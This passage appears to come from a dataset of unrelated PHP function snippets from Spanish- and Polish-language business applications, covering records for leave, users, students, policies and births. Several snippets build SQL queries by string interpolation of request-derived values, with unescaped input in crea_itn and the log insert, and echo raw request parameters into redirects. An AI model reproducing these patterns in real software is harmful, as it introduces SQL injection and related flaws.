$_POST['cedula_other'];\n $per_name_other = $_POST['nombre_other'];\n if($per_DI_other != \"\" && $per_name_other != \"\")\n {\n $id_usuario_soli = $_POST['id_servidor']; // id del usuario que solicita la licencia\n $cedula_solicitante = $_POST['cedula_other'];\n $nombre_solicitante = $_POST['nombre_other'];\n $cargo_solicitante = $_POST['cargo_servidor'];\n }\n else\n {\n $id_usuario_soli = $_SESSION['idUsuario']; // id del usuario que solicita la licencia\n $cedula_solicitante = $_SESSION['nomusu'];\n $nombre_solicitante = $_SESSION['nombre'];\n $cargo_solicitante = $_SESSION['cargo'];\n }\n try {\n\n $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\t\t\n //EMPIEZA LA TRANSACCION\n $this->pdo->beginTransaction();\n \n $sql = \"INSERT INTO `th_licencias_no_remunerada`(\n `lic_no_rem_id_tipo_resolucion`, \n `lic_no_rem_fecha_solicitud`, \n `lic_no_rem_fecha_escrito`, \n `lic_no_rem_cedula_servidor`, \n `lic_no_rem_nombre_servidor`, \n `lic_no_rem_fecha_inicio`, \n `lic_no_rem_fecha_fin`, \n `lic_no_rem_motivo`, \n `lic_no_rem_id_user`, \n `lic_no_rem_estado`,\n `lic_no_rem_ruta_doc_escrito`, \n `lic_no_rem_id_user_registra`, \n `lic_no_rem_cargo_cs`) \n VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)\";\n $this->pdo->prepare($sql)\n ->execute(\n array(\n $data->lic_id_tipo,\n $fechalog,\n $data->fecha_escrito,\n $cedula_solicitante,\n $nombre_solicitante,\n $data->fechaInicio,\n $data->fechaFin,\n $data->comentario,\n $id_usuario_soli,\n 0,\n $data->ruta_doc_adjunto, \n $idusuario, \n $cargo_solicitante\n )\n );\n $this->pdo->exec(\"INSERT INTO log (fecha, accion, detalle, idusuario, idtipolog) VALUES ('$fechalog', '$accion','$detalle','$idusuario','$tipolog')\");\n\n //SE TERMINA LA TRANSACCION \n $this->pdo->commit();\n } catch (Exception $e) {\n $this->pdo->rollBack();\n die($e->getMessage());\n }\n }", "public function crearUsuario() {\n\n\n if ($this->seguridad->esAdmin()) {\n $id = $this->usuario->getLastId();\n $usuario = $_REQUEST[\"usuario\"];\n $contrasenya = $_REQUEST[\"contrasenya\"];\n $email = $_REQUEST[\"email\"];\n $nombre = $_REQUEST[\"nombre\"];\n $apellido1 = $_REQUEST[\"apellido1\"];\n $apellido2 = $_REQUEST[\"apellido2\"];\n $dni = $_REQUEST[\"dni\"];\n $imagen = $_FILES[\"imagen\"];\n $borrado = 'no';\n if (isset($_REQUEST[\"roles\"])) {\n $roles = $_REQUEST[\"roles\"];\n } else {\n $roles = array(\"2\");\n }\n\n if ($this->usuario->add($id,$usuario,$contrasenya,$email,$nombre,$apellido1,$apellido2,$dni,$imagen,$borrado,$roles) > 1) {\n $this->perfil($id);\n } else {\n echo \"<script>\n i=5;\n setInterval(function() {\n if (i==0) {\n location.href='index.php';\n }\n document.body.innerHTML = 'Ha ocurrido un error. Redireccionando en ' + i;\n i--;\n },1000);\n </script>\";\n } \n } else {\n $this->gestionReservas();\n }\n \n }", "function transaccion_registrar_alumno($alumno, $matricula_alumno, $antecentes_alumno, $familiares_padre, $familiares_madre, $antecentes_familiares, $jefe_hogar, $apoderado)\n {\n $mensaje = new stdClass();\n $this->db->trans_begin();\n $id_alumno = $this->ingresar_alumno($alumno);\n\n $matricula_alumno[\"TB_ALUMNO_ID\"] = $id_alumno;\n $this->ingresar_matricula_alumno($matricula_alumno);\n $antecentes_alumno[\"TB_ALUMNO_ID\"] = $id_alumno;\n $this->ingresar_antecedentes_alumno($antecentes_alumno);\n $antecentes_familiares[\"TB_ALUMNO_ID\"] = $id_alumno;\n $this->ingresar_antecedentes_familiares_alumno($antecentes_familiares);\n $apoderado[\"TB_ALUMNO_ID\"] = $id_alumno;\n $this->ingresar_apoderado($apoderado);\n // todo --> Datos Opcionales Que pueden venir vacios\n $familiares_padre[\"TB_ALUMNO_ID\"] = $id_alumno;\n $this->ingresar_datos_familiar_alumno($familiares_padre);\n $familiares_madre[\"TB_ALUMNO_ID\"] = $id_alumno;\n $this->ingresar_datos_familiar_alumno($familiares_madre);\n $jefe_hogar[\"TB_ALUMNO_ID\"] = $id_alumno;\n $this->ingresar_jefe_hogar($jefe_hogar);\n // todo --> ----------------------------------------\n if ($this->db->trans_status() === FALSE) {\n $this->db->trans_rollback();\n $mensaje->respuesta = \"N\";\n $mensaje->data = \" No se pudo procesar la transacci�n\";\n } else {\n $this->db->trans_commit();\n }\n return $mensaje;\n }", "function obtener_asignaciones (){ //HAY QUE LLEVARLO AL DATOS_TABLA\n //tiene cierto sentido usar la fecha actual, dado que el uso de las aulas puede ser dinamico. \n //Necesitamos saber como es la asignacion de horarios en un momento determinado.\n $fecha= date('Y-m-d');\n \n $anio_lectivo=date('Y');\n \n $periodo=$this->dep('datos')->tabla('periodo')->get_periodo_calendario($fecha, $anio_lectivo);\n \n //analizamos el caso de dos periodos, cuando tenemos un turno de examen extraordinario incluido\n //en un cuatrimestre.\n $this->s__datos_cuadro_asig=array();\n foreach ($periodo as $clave=>$valor){\n $asignaciones=$this->dep('datos')->tabla('asignacion')->get_asignaciones_por_persona($this->s__nro_doc, $valor['id_periodo'], $fecha);\n $this->unificar_conjuntos(&$this->s__datos_cuadro_asig, $asignaciones);\n }\n \n }", "function insertarSolicitudObligacionPago()\r\n {\r\n $this->procedimiento = 'tes.ft_solicitud_obligacion_pago_ime';\r\n $this->transaccion = 'TES_SOOBPG_INS';\r\n $this->tipo_procedimiento = 'IME';\r\n\r\n //Define los parametros para la funcion\r\n $this->setParametro('id_proveedor', 'id_proveedor', 'int4');\r\n $this->setParametro('tipo_obligacion', 'tipo_obligacion', 'varchar');\r\n $this->setParametro('id_moneda', 'id_moneda', 'int4');\r\n $this->setParametro('obs', 'obs', 'varchar');\r\n $this->setParametro('porc_retgar', 'porc_retgar', 'numeric');\r\n $this->setParametro('id_funcionario', 'id_funcionario', 'int4');\r\n $this->setParametro('porc_anticipo', 'porc_anticipo', 'numeric');\r\n $this->setParametro('id_depto', 'id_depto', 'int4');\r\n $this->setParametro('fecha', 'fecha', 'date');\r\n $this->setParametro('tipo_cambio_conv', 'tipo_cambio_conv', 'numeric');\r\n $this->setParametro('pago_variable', 'pago_variable', 'varchar');\r\n $this->setParametro('total_nro_cuota', 'total_nro_cuota', 'int4');\r\n $this->setParametro('fecha_pp_ini', 'fecha_pp_ini', 'date');\r\n $this->setParametro('rotacion', 'rotacion', 'int4');\r\n $this->setParametro('id_plantilla', 'id_plantilla', 'int4');\r\n $this->setParametro('tipo_anticipo', 'tipo_anticipo', 'varchar');\r\n $this->setParametro('id_contrato', 'id_contrato', 'int4');\r\n\r\n\r\n //Ejecuta la instruccion\r\n $this->armarConsulta();\r\n $this->ejecutarConsulta();\r\n\r\n //Devuelve la respuesta\r\n return $this->respuesta;\r\n }", "function agregar($nombre, $ApellidoPaterno, $ApellidoMaterno, $idDepartamento, $idPuesto, $idTurno, $idNivelEstudios, $profesion, $sueldoMensual, $contrato, $fechaAlta, $fechaBaja, $idStatusEmpleado, $idPerfil, $correoElectronico, $contrasena, $telCelular, $telCasa, $rfc, $imss, $idCivil, $tipoSangre, $pesionAlimen, $nombreEmergencia, $telEmergencia, $calleNumero, $colonia, $delegacionMunicipio, $estado, $codigoPostal, $pais)\n {\n\n \t$insertDomicilio= array(\n \t\"calleNumero\" \t\t => $calleNumero,\n \t\"colonia\" => $colonia,\n \t\"delegacionMunicipio\" => $delegacionMunicipio,\n \t\"estado\" => $estado,\n \t\"codigoPostal\" => $codigoPostal,\n \t\"pais\"\t => $pais\n\n\n \t\t);\n\n \t//recibe el id de lo que se inserto en la tabla domicilio mediante el domiciliomodelo\n $idDomicilios = $this->domiciliomodelo->agregarDomicilio($insertDomicilio);\n\n\n $insert = array(\n \"nombre\" => $nombre, \n \"ApellidoPaterno\" => $ApellidoPaterno, \n \"ApellidoMaterno\" => $ApellidoMaterno, \n \"idDepartamento\" => $idDepartamento, \n \"idPuesto\" \t\t => $idPuesto, \n \"idTurno\"\t\t => $idTurno, \n \"idNivelEstudios\" => $idNivelEstudios, \n \"profesion\" => $profesion, \n \"sueldoMensual\" => $sueldoMensual, \n \"contrato\" => $contrato, \n \"fechaAlta\" => $fechaAlta, \n \"fechaBaja\" => $fechaBaja, \n \"idStatusEmpleado\" => $idStatusEmpleado, \n \"idPerfil\" => $idPerfil, \n \"correoElectronico\" => $correoElectronico, \n \"contrasena\" => $contrasena, \n \"idDomicilios\" => $idDomicilios, \n \"telCelular\" => $telCelular,\n \"telCasa\" => $telCasa,\n \"rfc\" => $rfc,\n \"imss\" => $imss,\n \"idCivil\" => $idCivil,\n \"tipoSangre\" => $tipoSangre,\n \"pesionAlimen\" => $pesionAlimen,\n \"nombreEmergencia\" => $nombreEmergencia,\n \"telEmergencia\" => $telEmergencia\n\n\n );\n\n\t\t\n\n\n\n \t$this->db->insert('empleados', $insert);\n \treturn $this->db->trans_status();\n\n \n }", "public function armado() {\n $validacion = new Seguridad_UsuarioValidacion();\n $validacion = $validacion->consultaElemento();\n\n // creo una matriz con los campos de los componentes de la pagina\n $componentes = Consultas_MatrizObtenerDeComponenteTablaYParametros::armado('todos');\n\n $datos_tabla = Consultas_ObtenerTablaNombreTipo::armado($_GET['id_tabla']);\n $tabla_tipo = $datos_tabla['tipo'];\n \n // borro del los atributos del usuario si tiene oculto algun componente de la tabla\n Armado_DesplegableOcultos::eliminarComponenteOcultoTodos($_GET['id_tabla']);\n\n // elimino los componentes con sus propias herramientas\n if (is_array($componentes)) {\n foreach ($componentes as $id => $dcp) {\n\n // llama al componente para eliminarlo\n $llamado_componente = Generales_LlamadoAComponentesYTraduccion::armar('ComponenteBaja', '', '', $dcp, $dcp['cp_nombre'], $dcp['cp_id']);\n\n // si el objeto anterior devuelve true\n if ($llamado_componente == true) {\n\n // elimina la columna si la tabla es tipo 'registro' o crea el registro para\n // cargar el valor de la variable\n if ($tabla_tipo == 'registros') {\n\n // elimino el campo de la tabla\n Consultas_CampoEliminar::armado(__FILE__, __LINE__, $dcp['tb_prefijo'] . '_' . $dcp['tb_nombre'], $dcp['tb_campo']);\n } elseif ($tabla_tipo == 'variables') {\n\n // elimino el campo de la tabla\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, $dcp['tb_nombre'], 'variables', $dcp['tb_campo']);\n }\n }\n\n // condiciones para eliminar los registros que definen al componente\n // elimino el componente de 'kirke_componente'\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, 'kirke_componente', 'id_componente', $dcp['cp_id']);\n\n // elimino el componente de 'kirke_componente_parametro'\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, 'kirke_componente_parametro', 'id_componente', $dcp['cp_id']);\n }\n }\n\n // Consulta nombre de tabla y nombre de campo\n $datos_tabla = Consultas_ObtenerTablaNombreTipo::armado();\n $tabla_nombre = $datos_tabla['prefijo'] . '_' . $datos_tabla['nombre'];\n\n // elimino el campo de la tabla\n Consultas_TablaEliminar::armado(__FILE__, __LINE__, $tabla_nombre);\n\n if (($tabla_tipo == 'menu') || $tabla_tipo == 'tabuladores') {\n\n Consultas_TablaEliminar::armado(__FILE__, __LINE__, $tabla_nombre . '_trd');\n Consultas_TablaEliminar::armado(__FILE__, __LINE__, $tabla_nombre . '_rel');\n\n $consulta = new Bases_RegistroEliminar(__FILE__, __LINE__);\n $consulta->tabla('kirke_tabla');\n $consulta->condiciones('', 'kirke_tabla', 'id_tabla_prefijo', 'iguales', '', '', $datos_tabla['id_prefijo']);\n $consulta->condiciones('y', 'kirke_tabla', 'tabla_nombre', 'iguales', '', '', $datos_tabla['nombre'] . '_trd');\n $consulta->condiciones('y', 'kirke_tabla', 'tipo', 'iguales', '', '', $tabla_tipo . '_trd');\n //$consulta->verConsulta();\n $consulta->realizarConsulta();\n\n $consulta = new Bases_RegistroEliminar(__FILE__, __LINE__);\n $consulta->tabla('kirke_tabla');\n $consulta->condiciones('', 'kirke_tabla', 'id_tabla_prefijo', 'iguales', '', '', $datos_tabla['id_prefijo']);\n $consulta->condiciones('y', 'kirke_tabla', 'tabla_nombre', 'iguales', '', '', $datos_tabla['nombre'] . '_rel');\n $consulta->condiciones('y', 'kirke_tabla', 'tipo', 'iguales', '', '', $tabla_tipo . '_rel');\n //$consulta->verConsulta();\n $consulta->realizarConsulta();\n\n if ($tabla_tipo == 'tabuladores') {\n \n Consultas_TablaEliminar::armado(__FILE__, __LINE__, $tabla_nombre . '_prd');\n\n $consulta = new Bases_RegistroEliminar(__FILE__, __LINE__);\n $consulta->tabla('kirke_tabla');\n $consulta->condiciones('', 'kirke_tabla', 'id_tabla_prefijo', 'iguales', '', '', $datos_tabla['id_prefijo']);\n $consulta->condiciones('y', 'kirke_tabla', 'tabla_nombre', 'iguales', '', '', $datos_tabla['nombre'] . '_prd');\n $consulta->condiciones('y', 'kirke_tabla', 'tipo', 'iguales', '', '', $tabla_tipo . '_prd');\n //$consulta->verConsulta();\n $consulta->realizarConsulta();\n \n $consulta = new Bases_RegistroConsulta(__FILE__, __LINE__);\n $consulta->tablas('kirke_tabla_parametro');\n $consulta->campos('kirke_tabla_parametro', 'valor');\n $consulta->condiciones('', 'kirke_tabla_parametro', 'parametro', 'iguales', '', '', 'cp_id');\n $consulta->condiciones('y', 'kirke_tabla_parametro', 'id_tabla', 'iguales', '', '', $_GET['id_tabla']);\n //$consulta->verConsulta();\n $parametros_tabla = $consulta->realizarConsulta();\n\n // condiciones para eliminar los registros que definen al componente necesario para que se puedan cargar los tabuladores\n // elimino el componente de 'kirke_componente'\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, 'kirke_componente', 'id_componente', $parametros_tabla[0]['valor']);\n\n // elimino el componente de 'kirke_componente_parametro'\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, 'kirke_componente_parametro', 'id_componente', $parametros_tabla[0]['valor']);\n }\n }\n\n // eliminacion de los roles relacionados con la pagina\n Consultas_RollDetalle::RegistroEliminar(__FILE__, __LINE__, $_GET['id_tabla']);\n\n // condiciones para la eliminacion de los nombres de los links del menu\n $matriz_link_nombre = Consultas_MenuLink::RegistroConsultaIdTabla(__FILE__, __LINE__, $_GET['id_tabla']);\n\n // elimino los nombres de los links\n if (is_array($matriz_link_nombre)) {\n foreach ($matriz_link_nombre as $id => $value) {\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, 'kirke_menu_link_nombre', 'id_menu_link', $value['id_menu_link']);\n }\n }\n\n // condiciones para la eliminacion\n // elimino los links de la pagina\n Consultas_MenuLink::RegistroEliminar(__FILE__, __LINE__, $_GET['id_tabla']);\n\n // elimino los nombres de la pagina\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, 'kirke_tabla_nombre_idioma', 'id_tabla', $_GET['id_tabla']);\n\n // elimino los parametros de la pagina\n Consultas_RegistroEliminar::armado(__FILE__, __LINE__, 'kirke_tabla_parametro', 'id_tabla', $_GET['id_tabla']);\n\n // elimino la pagina\n Consultas_Tabla::RegistroEliminar(__FILE__, __LINE__, $_GET['id_tabla']);\n \n if (Inicio::confVars('generar_log') == 's') {\n $this->_cargaLog();\n }\n\n // la redireccion va al final\n $armado_botonera = new Armado_Botonera();\n\n $parametros = array('kk_generar' => '0', 'accion' => '30', 'id_tabla' => $_GET['id_tabla']);\n $armado_botonera->armar('redirigir', $parametros);\n }", "function asignar_presupuesto($id_p){\n $data['menu']=$this->menu(2);\n $data['proyecto'] = $this->model_proyecto->get_id_proyecto($id_p); ///// datos del proyecto\n\n if(count($data['proyecto'])!=0){\n $data['titulo_proy']=strtoupper($data['proyecto'][0]['tipo']);\n $data['fase'] = $this->model_faseetapa->get_id_fase($id_p); ///// datos fase encendida\n $data['ffi'] = $this->model_faseetapa->fuentefinanciamiento(); ///// fuente financiamiento\n $data['fof'] = $this->model_faseetapa->organismofinanciador(); ///// organismo financiador\n $data['techo']=$this->techo_add($id_p);\n \n $this->load->view('admin/programacion/proy_anual/fase/fase_asig_ptto', $data);\n }\n else{\n redirect('admin/dashboard');\n }\n }", "public function armado() {\n $validacion = new Seguridad_UsuarioValidacion();\n $validacion = $validacion->consultaElemento();\n\n $parametros_tabla = Consultas_TablaParametros::RegistroConsultaTodos(__FILE__, __LINE__, $_GET['id_tabla']);\n\n if (!is_array($parametros_tabla)) {\n\n if (isset($_POST['id_cp_rel']) && ($_POST['id_cp_rel'] != '')) {\n $tabla_tabuladores = Consultas_Tabla::RegistroConsultaTablaNombre(__FILE__, __LINE__, $_GET['id_tabla']);\n $consulta = new Bases_RegistroConsulta(__FILE__, __LINE__);\n $consulta->tablas('kirke_tabla');\n $consulta->tablas('kirke_tabla_prefijo');\n $consulta->tablas('kirke_componente');\n $consulta->campos('kirke_tabla', 'tabla_nombre');\n $consulta->campos('kirke_tabla_prefijo', 'prefijo');\n $consulta->condiciones('', 'kirke_tabla', 'id_tabla_prefijo', 'iguales', 'kirke_tabla_prefijo', 'id_tabla_prefijo');\n $consulta->condiciones('y', 'kirke_tabla', 'id_tabla', 'iguales', 'kirke_componente', 'id_tabla');\n $consulta->condiciones('y', 'kirke_componente', 'id_componente', 'iguales', '', '', $_POST['id_cp_rel']);\n $id_tabla_cp_rel = $consulta->realizarConsulta();\n Consultas_CampoCrear::armado(__FILE__, __LINE__, $tabla_tabuladores, 'id_' . $id_tabla_cp_rel[0]['prefijo'] . '_' . $id_tabla_cp_rel[0]['tabla_nombre'], 'numero', '12', false);\n }\n\n $tabla_rel_datos = Consultas_Tabla::RegistroConsultaTablaNombre(__FILE__, __LINE__, $_POST['id_tb_rel']);\n $tabla_int_datos = Consultas_Tabla::RegistroConsultaTablaNombre(__FILE__, __LINE__, $_GET['intermedia_tb_id']);\n Consultas_CampoCrear::armado(__FILE__, __LINE__, $tabla_int_datos, 'id_' . $tabla_rel_datos, 'numero', '12', false);\n\n $this->_agregarComponenteTabuladores();\n $this->_pasarNombresComponente();\n\n if (isset($_POST['id_cp_rel']) && ($_POST['id_cp_rel'] != '')) {\n Consultas_TablaParametros::RegistroCrearCompleto(__FILE__, __LINE__, $_GET['id_tabla'], 'tabuladores', 'id_cp_rel', $_POST['id_cp_rel']);\n }\n\n Consultas_TablaParametros::RegistroCrearCompleto(__FILE__, __LINE__, $_GET['id_tabla'], 'tabuladores', 'tabla_relacionada', $_POST['id_tb_rel']);\n Consultas_TablaParametros::RegistroCrearCompleto(__FILE__, __LINE__, $_GET['id_tabla'], 'tabuladores', 'cp_id', $this->_id_componente);\n }\n\n // la redireccion va al final\n $armado_botonera = new Armado_Botonera();\n $parametros = array('kk_generar' => '0', 'accion' => '30');\n $armado_botonera->armar('redirigir', $parametros);\n }", "function localidadConsultarCitasxAutor($res, $idEspecie) {\n\n\t// creando el arreglo de autores para la especie \t\n\t$total = getNumFilas($res); $localidades=\"\";\n\t\n\t$arrayAL1[20] = array(\t\"autor\" => 0, \n\t\t\t\t\t\t\t\t\t\t\t\"idlocalidad\" => 0, \n\t\t\t\t\t\t\t\t\t\t\t\"localidad\" => \"\");\n\t$i=0; $pos = 0;\n\twhile ($i < $total) {\n\t\t$actual = getFila($res);\n\t\t$autores = $actual[\"referencias_id\"];\n\t\t$autores = explode(\",\", $autores);\n\t\t\n\t\tfor ($j = 1; $j < count($autores); $j++) {\n\t\t\tif (!(in_array($autores[$j], $arrayAL1) )) {\n\t\t\t\t\t$arrayAL1[$pos][\"autor\"] = $autores[$j]; \n\t\t\t\t\t$arrayAL1[$pos][\"idlocalidad\"] = $actual[\"localidades_id\"];\n\t\t\t\t\t$arrayAL1[$pos][\"localidad\"] = localidadConsultarNombre($actual[\"localidades_id\"]);\n\t\t\t\t\t$pos++;\n\t\t\t\t}\n\t\t}\n\t$i++;\n\t}\n\t\n\tforeach ($arrayAL1 as $key => $row) {\n\t\t$autor[$key] = $row[\"autor\"];\n\t\t$idlocalidad[$key] = $row[\"idlocalidad\"];\n\t\t$localidad[$key] = $row[\"localidad\"];\n\t}\n\n\tarray_multisort($autor, SORT_ASC, $localidad, SORT_ASC, $arrayAL1);\n\t// print_r($arrayAL1) . \"<br />\"; // muestra cada línea del arreglo $arrayAL1\t\t\t\t\n\n\t// armamos la lista de autores y localidades que reportan\n\t$localidades = \"\"; $total = count($arrayAL1);\n\t$idAutor = 0;\n\tfor ($k = 1; $k < $total; $k++) {\n\t\t\n\t\tif ($idAutor != $arrayAL1[$k][\"autor\"])\n\t\t{\t// nuevo autor\n\t\t\t if ($k>1) $localidades .= \"); \"; // separación entre autores\n\t\t\t $autorRef = \"\"; $agno = \"\";\n\t\t\t consultarCitaxId($arrayAL1[$k][\"autor\"], $autorRef, $agno);\n\t\t\t $localidades .= \"<b>\". $autorRef . \", \" . $agno . \" </b> (\";\n\t\t\t $localidades .= $arrayAL1[$k][\"localidad\"];\t\n\t\t} \n\t\telse { // localidades para el mismo autor\n\t\t\t $localidades .= \", \" . $arrayAL1[$k][\"localidad\"];\n\t\t}\n\t\t$idAutor = $arrayAL1[$k][\"autor\"] ;\n\t}\t // end for\n\tif ($total > 1 ) $localidades .= \").\";\n\telse $localidades = \"\";\n\t\nreturn $localidades;\n}", "function agregar_nueva_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $id_ef_sesion, $conexion){\n\t\n\t//VEO SI SE HA HECHO CLICK EN EL BOTON GUARDAR\n\tif(isset($_POST['btnGuardar'])) {\n\t\t\n\t\t\t$id_ef_cia = base64_decode($_GET['id_ef_cia']);\t\n\t\t \n\t\t\t//SEGURIDAD\n\t\t\t$num_poliza = $conexion->real_escape_string($_POST['txtPoliza']);\n\t\t\t$fecha_ini = $conexion->real_escape_string($_POST['txtFechaini']);\n\t\t\t$fecha_fin = $conexion->real_escape_string($_POST['txtFechafin']);\n\t\t\t$producto = $conexion->real_escape_string($_POST['txtProducto']);\n\t\t\t//GENERAMOS EL ID CODIFICADO UNICO\n\t\t\t$id_new_poliza = generar_id_codificado('@S#1$2013');\t\t\t\t\t\n\t\t\t//METEMOS LOS DATOS A LA BASE DE DATOS\n\t\t\t$insert =\"INSERT INTO s_poliza(id_poliza, no_poliza, fecha_ini, fecha_fin, producto, id_ef_cia) \"\n\t\t\t\t .\"VALUES('\".$id_new_poliza.\"', '\".$num_poliza.\"', '\".$fecha_ini.\"', '\".$fecha_fin.\"', '\".$producto.\"', '\".$id_ef_cia.\"')\";\n\t\t\t\n\t\t\t\n\t\t\t//VERIFICAMOS SI HUBO ERROR EN EL INGRESO DEL REGISTRO\n\t\t\tif($conexion->query($insert)===TRUE){\n\t\t\t\t\t\t\t\t\n\t\t\t\t$mensaje=\"Se registro correctamente los datos del formulario\";\n\t\t\t header('Location: index.php?l=des_poliza&var='.$_GET['var'].'&listarpolizas=v&id_ef_cia='.$_GET['id_ef_cia'].'&entidad='.$_GET['entidad'].'&compania='.$_GET['compania'].'&id_ef='.base64_encode($_GET['id_ef']).'&producto_nombre='.$_GET['producto_nombre'].'&producto_code='.$_GET['producto_code'].'&op=1&msg='.base64_encode($mensaje));\n\t\t\t exit;\n\t\t\t} else {\n\t\t\t\t$mensaje=\"Hubo un error al ingresar los datos, consulte con su administrador \".$conexion->errno.\": \".$conexion->error;\n\t\t\t header('Location: index.php?l=des_poliza&var='.$_GET['var'].'&listarpolizas=v&id_ef_cia='.$_GET['id_ef_cia'].'&entidad='.$_GET['entidad'].'&compania='.$_GET['compania'].'&id_ef='.base64_encode($_GET['id_ef']).'&producto_nombre='.$_GET['producto_nombre'].'&producto_code='.$_GET['producto_code'].'&op=2&msg='.base64_encode($mensaje));\n\t\t\t\texit;\n\t\t\t}\n\t\t\n\t}else {\n\t\t//MUESTRO EL FORM PARA CREAR UNA CATEGORIA\n\t\tmostrar_crear_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $id_ef_sesion, $conexion);\n\t}\n}", "function crea_itn($r,$string,$u){\n\t\n \n\t\t\t global $db,$dbf,$fecha_con_formato;\n \n $cadena = explode(\"[\",$string);\n $cadena2 = explode(\"@\",$cadena[10]);\n \n for($c=0;$c<count($cadena2);$c++){\n\t\t\t\t\t \n\t\t\t\t\t\t $sql_z = \"SELECT ID_ITINERARIO,ID_DIA FROM ITN_DEFINICION WHERE ID_ROUTE = \".$r.\" AND ID_DIA = \".$cadena2[$c]; \n \t\t\t $kuery = $db->sqlQuery($sql_z);\n \t\t\t $con = $db->sqlEnumRows($kuery);\n\t\t\t\t\t\t $row = $db->sqlFetchArray($kuery);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t if($con > 0){\n\t\t\t\t\t\t echo \"no se hace algo <br>\";\n\t\t\t\t\t\t }else{\n\t\t\t\t\t\t echo \"insertar \".$r.','.$cadena2[$c].','.$u.'<br />';\n \t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t $datos = Array(\n \t\t\t\t\t\t\t 'ID_ROUTE' => $r,\n \t\t\t\t\t\t\t 'ID_DIA' => $cadena2[$c],\n\t\t\t\t\t\t\t\t\t\t\t\t \t 'COD_USER' => $u,\n\t \t\t\t\t\t\t 'CREADO' => $fecha_con_formato,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'ACTIVO' => 1\n \t\t\t\t\t\t\t\t );\n \t\t\t\tif($dbf-> insertDB($datos,'ITN_DEFINICION',false) == true){\n \t\t\t\t\t\t\t\t\t $bandera = 1;\n\t\t\t\t\t\t\t\t\t echo 1;\t\t\n\t\t\t\t\t\t\t }\telse{\n\t\t\t\t\t\t\t\techo 0;\t\n\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t \n\t\t\t\t\t\t }\n\t\t\t\t\t\t \n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t \n}", "public function registrarNacimiento($valor){\n\n $objeto = new ServNacimientoController;\n $json_enviado = json_decode($valor,true);\n\n\n $nombre = $json_enviado['nombre'];\n $apellido = $json_enviado['apellido'];\n $genero = $json_enviado['genero'];\n $fechaNacimiento = $json_enviado['fechaNacimiento'];\n $municipio = $json_enviado['municipio'];\n $lugarNacimiento = $json_enviado['lugarNacimiento'];\n $cuiPadre = $json_enviado['cuiPadre'];\n $cuiMadre = $json_enviado['cuiMadre'];\n\n $validadorExistencia = false;\n $cui_generado = 0;\n\n $id_departamento = json_decode($objeto->obtenerDepartamento($municipio),true);\n \n do{\n $cui_generado = $objeto->generarCUI();\n if(strlen($municipio) == 1)\n {\n $municipio = \"0\".$municipio;\n }\n\n //$valor_depto = \"1\";//\n $valor_depto = $id_departamento[0]['id_dpto']; \n //echo \"<BR> VALOR DEPTO: \".json_encode($id_departamento).\"<BR>\";\n \n if(strlen((string)$valor_depto) == 1){\n $valor_depto = \"0\".$valor_depto;\n }\n\n //echo \"<BR> VALOR DEPTO despues : \".$valor_depto.\"<BR>\";\n\n $cui_final_generado = $cui_generado.$valor_depto.$municipio;\n $validadorExistencia = $objeto->validarExistenciaCUI($cui_final_generado);\n }while($validadorExistencia == false);\n\n $valor_cui_valodi = $objeto->valida_CUI_Nacimiento($cui_final_generado);\n $valor_fake = $objeto->valida_CUI_Nacimiento(256461546);\n\n \n //REGISTRO DEL NACIMIENTO EN LA BD\n\n $valor_id = $objeto->obtenerIdPersona();\n\n $existe_madre = $objeto->validarExistenciaCUI($cuiMadre);\n $existe_padre = $objeto->validarExistenciaCUI($cuiPadre);\n\n if($existe_madre == false && $existe_padre == false){\n echo \"se pudo realizar el ingreso!!1\";\n }\n\n if($existe_padre == false && $existe_madre == false){\n\n DB::table('PERSONA')\n ->insert(\n [ 'cui'=>$cui_final_generado,\n 'id'=>$valor_id,\n 'nombres'=>$nombre,\n 'apellidos'=>$apellido,\n 'genero'=>$genero,\n 'estado_civil'=>1,\n 'huella'=>\"sin valor\",\n 'direccion'=>\"ciudad\",\n 'vivo_muerto'=>1,\n 'id_muni'=>$municipio\n ]\n );\n\n DB::table('NACIMIENTO')\n ->insert([\n 'cui' => $cui_final_generado,\n 'cui_padre' => $cuiPadre,\n 'cui_madre' => $cuiMadre,\n 'id_muni' => $municipio,\n 'fecha' => Carbon::now(),\n 'direccion_nac' => \"ciudad\",\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now()\n ]);\n \n $resultado_final = [\n 'cui' => $cui_final_generado,\n 'status' => 1,\n 'mensaje' => \"Registro de persona añadido\"\n ];\n\n return response()->json($resultado_final);\n \n }else{\n \n $resultado_final = [\n 'cui' => 0,\n 'status' => 0,\n 'mensaje' => \"Registro de persona no realizado, no existe padre o madre\"\n ];\n\n return response()->json($resultado_final);\n\n }\n\n }", "function Uzasadnienie($dbh, $un, $ud, $up, $roszczenia, $no)\r\n\t\t\t{\r\n\t\t\t\t$uzasadnienie=\"Powodowie prowadzą działalność gospodarczą pod nazwą NETICO Spółka Cywilna M.Borodziuk, M.Pielorz, K.Rogacki. Powodowie dnia $ud zawarli z Pozwanym(ą) umowę abonencką nr $un o świadczenie usług telekomunikacyjnych.\\n Termin płatności został określony w Umowie do $up dnia danego miesiąca. \\n Za świadczone usługi w ramach prowadzonej przez siebie działalności gospodarczej Powodowie wystawili Pozwanemu(ej) następujące faktury VAT:\\n \";\r\n\t\t\t\t\r\n\t\t\t\t$n=1;\r\n\t\t\t\t$suma=0;\r\n\t\t\t\tforeach ($roszczenia as $n => $v)\r\n\t\t\t\t{\r\n\t\t\t\t\t$oznaczenie=$roszczenia[$n][\"oznaczenie\"];\r\n\t\t\t\t\t$kwota=$roszczenia[$n][\"wartosc\"];\r\n\t\t\t\t\t$pozostalo=$roszczenia[$n][\"pozostalo\"];\r\n\t\t\t\t\t$d=$n;\r\n\t\t\t\t 